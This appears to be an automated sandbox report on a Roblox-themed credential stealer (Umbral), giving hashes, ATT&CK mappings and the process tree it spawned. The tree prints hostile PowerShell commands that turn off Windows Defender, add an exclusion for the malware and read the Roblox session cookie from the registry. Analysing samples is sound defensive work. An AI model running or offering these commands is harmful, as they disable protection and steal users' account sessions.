umbral | 429170a034f165b7b9223205b04482ba8b1cc5582f9344bf70123c7e7e8e4c3e

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
24/09/2024, 19:48

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General

Target

freerobux.exe
Size

229KB
MD5

b994081ca7787fdf253902e28c1a5c47
SHA1

91c30f314dda937fac7b5133c4f378e6c2cd47ff
SHA256

429170a034f165b7b9223205b04482ba8b1cc5582f9344bf70123c7e7e8e4c3e
SHA512

17b80c2325c0e900fa1a2c026d8eba0c3985ce27bb71c4f226a6d52a3f0122e4ad969fb163d75ec435169ea12c8b9538777986ab2dc498e5529d94ce20d019d4
SSDEEP

6144:FloZMArIkd8g+EtXHkv/iD4vWEs9rI8jP67NokR37b8e1mAi:HoZHL+EP8vWEs9rI8jP67NokRv+

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3044-1-0x0000000000F90000-0x0000000000FD0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2656	powershell.exe
2264	powershell.exe
3000	powershell.exe
2348	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	freerobux.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1256	wmic.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2656	powershell.exe
2264	powershell.exe
3000	powershell.exe
1488	powershell.exe
2348	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	freerobux.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeIncreaseQuotaPrivilege	2244	wmic.exe
Token: SeSecurityPrivilege	2244	wmic.exe
Token: SeTakeOwnershipPrivilege	2244	wmic.exe
Token: SeLoadDriverPrivilege	2244	wmic.exe
Token: SeSystemProfilePrivilege	2244	wmic.exe
Token: SeSystemtimePrivilege	2244	wmic.exe
Token: SeProfSingleProcessPrivilege	2244	wmic.exe
Token: SeIncBasePriorityPrivilege	2244	wmic.exe
Token: SeCreatePagefilePrivilege	2244	wmic.exe
Token: SeBackupPrivilege	2244	wmic.exe
Token: SeRestorePrivilege	2244	wmic.exe
Token: SeShutdownPrivilege	2244	wmic.exe
Token: SeDebugPrivilege	2244	wmic.exe
Token: SeSystemEnvironmentPrivilege	2244	wmic.exe
Token: SeRemoteShutdownPrivilege	2244	wmic.exe
Token: SeUndockPrivilege	2244	wmic.exe
Token: SeManageVolumePrivilege	2244	wmic.exe
Token: 33	2244	wmic.exe
Token: 34	2244	wmic.exe
Token: 35	2244	wmic.exe
Token: SeIncreaseQuotaPrivilege	2244	wmic.exe
Token: SeSecurityPrivilege	2244	wmic.exe
Token: SeTakeOwnershipPrivilege	2244	wmic.exe
Token: SeLoadDriverPrivilege	2244	wmic.exe
Token: SeSystemProfilePrivilege	2244	wmic.exe
Token: SeSystemtimePrivilege	2244	wmic.exe
Token: SeProfSingleProcessPrivilege	2244	wmic.exe
Token: SeIncBasePriorityPrivilege	2244	wmic.exe
Token: SeCreatePagefilePrivilege	2244	wmic.exe
Token: SeBackupPrivilege	2244	wmic.exe
Token: SeRestorePrivilege	2244	wmic.exe
Token: SeShutdownPrivilege	2244	wmic.exe
Token: SeDebugPrivilege	2244	wmic.exe
Token: SeSystemEnvironmentPrivilege	2244	wmic.exe
Token: SeRemoteShutdownPrivilege	2244	wmic.exe
Token: SeUndockPrivilege	2244	wmic.exe
Token: SeManageVolumePrivilege	2244	wmic.exe
Token: 33	2244	wmic.exe
Token: 34	2244	wmic.exe
Token: 35	2244	wmic.exe
Token: SeIncreaseQuotaPrivilege	2028	wmic.exe
Token: SeSecurityPrivilege	2028	wmic.exe
Token: SeTakeOwnershipPrivilege	2028	wmic.exe
Token: SeLoadDriverPrivilege	2028	wmic.exe
Token: SeSystemProfilePrivilege	2028	wmic.exe
Token: SeSystemtimePrivilege	2028	wmic.exe
Token: SeProfSingleProcessPrivilege	2028	wmic.exe
Token: SeIncBasePriorityPrivilege	2028	wmic.exe
Token: SeCreatePagefilePrivilege	2028	wmic.exe
Token: SeBackupPrivilege	2028	wmic.exe
Token: SeRestorePrivilege	2028	wmic.exe
Token: SeShutdownPrivilege	2028	wmic.exe
Token: SeDebugPrivilege	2028	wmic.exe
Token: SeSystemEnvironmentPrivilege	2028	wmic.exe
Token: SeRemoteShutdownPrivilege	2028	wmic.exe
Token: SeUndockPrivilege	2028	wmic.exe
Token: SeManageVolumePrivilege	2028	wmic.exe
Token: 33	2028	wmic.exe
Token: 34	2028	wmic.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2656	3044	freerobux.exe	30
PID 3044 wrote to memory of 2656	3044	freerobux.exe	30
PID 3044 wrote to memory of 2656	3044	freerobux.exe	30
PID 3044 wrote to memory of 2264	3044	freerobux.exe	32
PID 3044 wrote to memory of 2264	3044	freerobux.exe	32
PID 3044 wrote to memory of 2264	3044	freerobux.exe	32
PID 3044 wrote to memory of 3000	3044	freerobux.exe	34
PID 3044 wrote to memory of 3000	3044	freerobux.exe	34
PID 3044 wrote to memory of 3000	3044	freerobux.exe	34
PID 3044 wrote to memory of 1488	3044	freerobux.exe	36
PID 3044 wrote to memory of 1488	3044	freerobux.exe	36
PID 3044 wrote to memory of 1488	3044	freerobux.exe	36
PID 3044 wrote to memory of 2244	3044	freerobux.exe	38
PID 3044 wrote to memory of 2244	3044	freerobux.exe	38
PID 3044 wrote to memory of 2244	3044	freerobux.exe	38
PID 3044 wrote to memory of 2028	3044	freerobux.exe	41
PID 3044 wrote to memory of 2028	3044	freerobux.exe	41
PID 3044 wrote to memory of 2028	3044	freerobux.exe	41
PID 3044 wrote to memory of 536	3044	freerobux.exe	43
PID 3044 wrote to memory of 536	3044	freerobux.exe	43
PID 3044 wrote to memory of 536	3044	freerobux.exe	43
PID 3044 wrote to memory of 2348	3044	freerobux.exe	45
PID 3044 wrote to memory of 2348	3044	freerobux.exe	45
PID 3044 wrote to memory of 2348	3044	freerobux.exe	45
PID 3044 wrote to memory of 1256	3044	freerobux.exe	47
PID 3044 wrote to memory of 1256	3044	freerobux.exe	47
PID 3044 wrote to memory of 1256	3044	freerobux.exe	47

C:\Users\Admin\AppData\Local\Temp\freerobux.exe
"C:\Users\Admin\AppData\Local\Temp\freerobux.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\freerobux.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1488
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2028
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2348
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1e7ed5fcbca860fdce9d6a892d52c0a3

SHA1
3bbbbba92f4a3bea2d43fe2deeea9a3f3290bbf7

SHA256
3e2bcb98ddb9dd3c7f602a12083993e14a8740dd70c31f5e99e9c159304e4d19

SHA512
666e251d10df588c4cf66ee1e2034513b766fa259114db44ea02dd13e7b00c299c87047099d618f3bf703bb606410dd6f99b227bff60b11b1b6f056a0ac0dde0

Download Submit
memory/2264-20-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2264-19-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2656-10-0x000007FEEBC10000-0x000007FEEC5AD000-memory.dmp

Filesize
9.6MB

Download
memory/2656-9-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/2656-11-0x000007FEEBC10000-0x000007FEEC5AD000-memory.dmp

Filesize
9.6MB

Download
memory/2656-12-0x000007FEEBC10000-0x000007FEEC5AD000-memory.dmp

Filesize
9.6MB

Download
memory/2656-13-0x000007FEEBC10000-0x000007FEEC5AD000-memory.dmp

Filesize
9.6MB

Download
memory/2656-8-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2656-7-0x000007FEEBECE000-0x000007FEEBECF000-memory.dmp

Filesize
4KB

Download
memory/3044-0-0x000007FEF4C83000-0x000007FEF4C84000-memory.dmp

Filesize
4KB

Download
memory/3044-2-0x000007FEF4C80000-0x000007FEF566C000-memory.dmp

Filesize
9.9MB

Download
memory/3044-1-0x0000000000F90000-0x0000000000FD0000-memory.dmp

Filesize
256KB

Download
memory/3044-51-0x000007FEF4C80000-0x000007FEF566C000-memory.dmp

Filesize
9.9MB

Download